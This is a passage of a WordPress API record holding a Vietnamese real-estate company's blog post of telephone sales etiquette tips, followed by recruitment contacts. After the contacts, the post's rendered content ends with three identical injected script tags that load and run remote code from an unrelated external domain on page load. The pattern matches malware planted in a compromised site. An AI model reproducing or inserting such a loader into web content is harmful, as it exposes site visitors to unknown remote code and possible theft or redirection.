c\u00f3 c\u1ee7a m\u1ed9t nh\u00e2n vi\u00ean Telesale nh\u01b0ng b\u1ea1n c\u0169ng \u0111\u1eebng qu\u00e1 ch\u1ee7 quan v\u1ec1 k\u1ef9 n\u0103ng nghe \u0111i\u1ec7n tho\u1ea1i c\u1ee7a m\u00ecnh, m\u00ecnh c\u00f3 th\u1ec3 nh\u1edb to\u00e0n b\u1ed9 n\u1ed9i dung cu\u1ed9c g\u1ecdi. \u0110\u1ec3 tr\u00e1nh qu\u00ean m\u1ea5t th\u00f4ng tin, t\u1ed1t nh\u1ea5t b\u1ea1n h\u00e3y ghi l\u1ea1i \u00fd ch\u00ednh c\u1ee7a cu\u1ed9c n\u00f3i chuy\u1ec7n \u0111\u1ec3 c\u00f3 nh\u1eefng h\u1ed7 tr\u1ee3 c\u1ea7n thi\u1ebft v\u00e0 \u0111\u00fang th\u1eddi \u0111i\u1ec3m.\u00a0\u00a0\u00a0\u00a0<\/span><\/p>\n<figure id=\"attachment_5369\" aria-describedby=\"caption-attachment-5369\" style=\"width: 800px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"size-full wp-image-5369 lazyload\" data-src=\"https:\/\/agent.reti.vn\/wp-content\/uploads\/2022\/11\/giao-tiep-qua-dien-thoai-3.jpg\" alt=\"\" width=\"800\" height=\"523\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 800px; --smush-placeholder-aspect-ratio: 800\/523;\"><figcaption id=\"caption-attachment-5369\" class=\"wp-caption-text\">Ghi ch\u00fa cu\u1ed9c n\u00f3i chuy\u1ec7n gi\u00fap b\u1ea1n th\u1ea5u hi\u1ec3u nguy\u1ec7n v\u1ecdng, mong mu\u1ed1n c\u1ee7a kh\u00e1ch h\u00e0ng \u0111\u1ec3 \u0111\u01b0a ra ph\u01b0\u01a1ng \u00e1n x\u1eed l\u00fd k\u1ecbp th\u1eddi nh\u1ea5t.<\/figcaption><\/figure>\n<h3><span class=\"ez-toc-section\" id=\"Khong_gac_may_truoc\"><\/span><b><i>Kh\u00f4ng g\u00e1c m\u00e1y tr\u01b0\u1edbc\u00a0<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Ph\u00e9p l\u1ecbch s\u1ef1 t\u1ed1i thi\u1ec3u c\u1ee7a m\u1ed9t ng\u01b0\u1eddi l\u00e0m Telesale chuy\u00ean nghi\u1ec7p l\u00e0 ph\u1ea3i ch\u1edd kh\u00e1ch h\u00e0ng t\u1ea1m bi\u1ec7t v\u00e0 \u0111\u1ee3i h\u1ecd g\u00e1c m\u00e1y. \u0110\u00e2y l\u00e0 ngh\u1ec7 thu\u1eadt n\u00f3i chuy\u1ec7n qua \u0111i\u1ec7n tho\u1ea1i b\u1ea1n c\u1ea7n ghi nh\u1edb, c\u00f3 t\u00e1c d\u1ee5ng t\u1ea1o thi\u1ec7n c\u1ea3m v\u1edbi ng\u01b0\u1eddi b\u00ean kia \u0111\u01b0\u1eddng d\u00e2y. Vi\u1ec7c g\u00e1c m\u00e1y sau kh\u00f4ng khi\u1ebfn b\u1ea1n t\u1ed1n nhi\u1ec1u th\u1eddi gian, nh\u01b0ng l\u1ea1i t\u1ea1o cho ng\u01b0\u1eddi nghe c\u1ea3m gi\u00e1c \u0111\u01b0\u1ee3c t\u00f4n tr\u1ecdng.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">C\u00f3 th\u1ec3 n\u00f3i, \u201cch\u00e0o h\u00e0ng\u201d qua \u0111i\u1ec7n tho\u1ea1i l\u00e0 m\u1ed9t nhi\u1ec7m v\u1ee5 kh\u00f3 kh\u0103n c\u1ee7a m\u1ed7i telesale. T\u1eeb nh\u1eefng ng\u01b0\u1eddi kh\u00f4ng quen bi\u1ebft, b\u1ea1n c\u00f3 nhi\u1ec7m v\u1ee5 g\u00e2y \u1ea5n t\u01b0\u1ee3ng v\u1edbi kh\u00e1ch h\u00e0ng, thu h\u00fat h\u1ecd nghe gi\u1edbi thi\u1ec7u v\u1ec1 s\u1ea3n ph\u1ea9m, d\u1ecbch v\u1ee5, thuy\u1ebft ph\u1ee5c h\u1ecd mua h\u00e0ng, gi\u1ea3i \u0111\u00e1p m\u1ecdi th\u1eafc m\u1eafc\u2026 M\u1ed9t c\u00f4ng vi\u1ec7c kh\u00f4ng h\u1ec1 \u0111\u01a1n gi\u1ea3n nh\u01b0ng n\u1ebfu c\u00f3 s\u1ef1 chu\u1ea9n b\u1ecb ch\u1ec9n chu th\u00ec <a href=\"https:\/\/agent.reti.vn\/\">RETI<\/a> tin r\u1eb1ng b\u1ea1n s\u1ebd \u0111\u1ea1t \u0111\u01b0\u1ee3c hi\u1ec7u qu\u1ea3 trong c\u00f4ng vi\u1ec7c \u0111\u00fang v\u1edbi nh\u1eefng ki\u1ebfn th\u1ee9c b\u1ea1n \u0111\u00e3 trau d\u1ed3i v\u00e0 luy\u1ec7n t\u1eadp m\u1ed7i ng\u00e0y.\u00a0\u00a0<\/span><\/p>\n<p>T\u1ef1 h\u00e0o l\u00e0 C\u00f4ng ty ph\u00e2n ph\u1ed1i, ph\u00e1t tri\u1ec3n v\u00e0 \u0111\u1ea7u t\u01b0 B\u0110S \u1ee9ng d\u1ee5ng c\u00f4ng ngh\u1ec7 h\u00e0ng \u0111\u1ea7u Vi\u1ec7t Nam, RETI lu\u00f4n ch\u00fa tr\u1ecdng, d\u00e0nh nhi\u1ec1u th\u1eddi gian \u0111\u00e0o t\u1ea1o \u0111\u1ed9i ng\u0169 chuy\u00ean vi\u00ean kinh doanh chuy\u00ean nghi\u1ec7p, tr\u1edf th\u00e0nh nh\u1eefng Sale Agent \u0111i \u0111\u1ea7u th\u1eddi k\u1ef3 m\u1edbi. RETI lu\u00f4n mong mu\u1ed1n \u0111em \u0111\u1ebfn cho c\u00e1c RETIAN nh\u1eefng c\u00f4ng c\u1ee5 v\u00e0 nh\u1eefng ki\u1ebfn th\u1ee9c \u0111\u1ec3 h\u1ed7 tr\u1ee3 c\u00e1c b\u1ea1n tr\u00ean con \u0111\u01b0\u1eddng chinh ph\u1ee5c kh\u00e1ch h\u00e0ng.<\/p>\n<p>\u0110\u1eebng qu\u00ean theo d\u00f5i <a href=\"http:\/\/reti.vn\/blog\">RETI<\/a> \u0111\u1ec3 c\u1eadp nh\u1eadt nh\u1eefng th\u00f4ng tin b\u1ed5 \u00edch m\u1ed7i ng\u00e0y<\/p>\n<p>Tr\u1edf th\u00e0nh RETIAN v\u00e0 m\u1ed9t ph\u1ea7n c\u1ee7a RETI vui l\u00f2ng li\u00ean h\u1ec7<\/p>\n<p>Hotline: 0399504456<\/p>\n<p>Fanpage: <a href=\"https:\/\/www.facebook.com\/tuyendung.reti\" target=\"_blank\" rel=\"noopener\">Life at RETI\u00a0<\/a><\/p>\n<p>Mail: tuyendung@reti.vn<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ngh\u1ec7 thu\u1eadt n\u00f3i chuy\u1ec7n l\u00e0 m\u1ed9t trong nh\u1eefng y\u1ebfu t\u1ed1 l\u00e0m n\u00ean s\u1ef1 th\u00e0nh c\u00f4ng c\u1ee7a cu\u1ed9c giao ti\u1ebfp qua \u0111i\u1ec7n tho\u1ea1i. Kh\u00f4ng ch\u1ec9 s\u1eed d\u1ee5ng trong kinh doanh, h\u1ee3p t\u00e1c, b\u1ea5t k\u1ec3 khi n\u00e0o b\u1ea1n mu\u1ed1n ng\u01b0\u1eddi kh\u00e1c nghe theo \u00fd ki\u1ebfn c\u1ee7a m\u00ecnh, b\u1ea1n \u0111\u1ec1u c\u1ea7n s\u1eed d\u1ee5ng \u0111\u1ebfn k\u1ef9 n\u0103ng thuy\u1ebft ph\u1ee5c. [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":35325,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"tdm_status":"","tdm_grid_status":"","footnotes":""},"categories":[307],"tags":[],"class_list":{"0":"post-35324","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-meo-nho-bat-dong-san"},"external_url":"","featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/11\/giao-tiep-qua-dien-thoai-2.jpg","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/35324","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=35324"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/35324\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/35325"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=35324"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=35324"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=35324"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}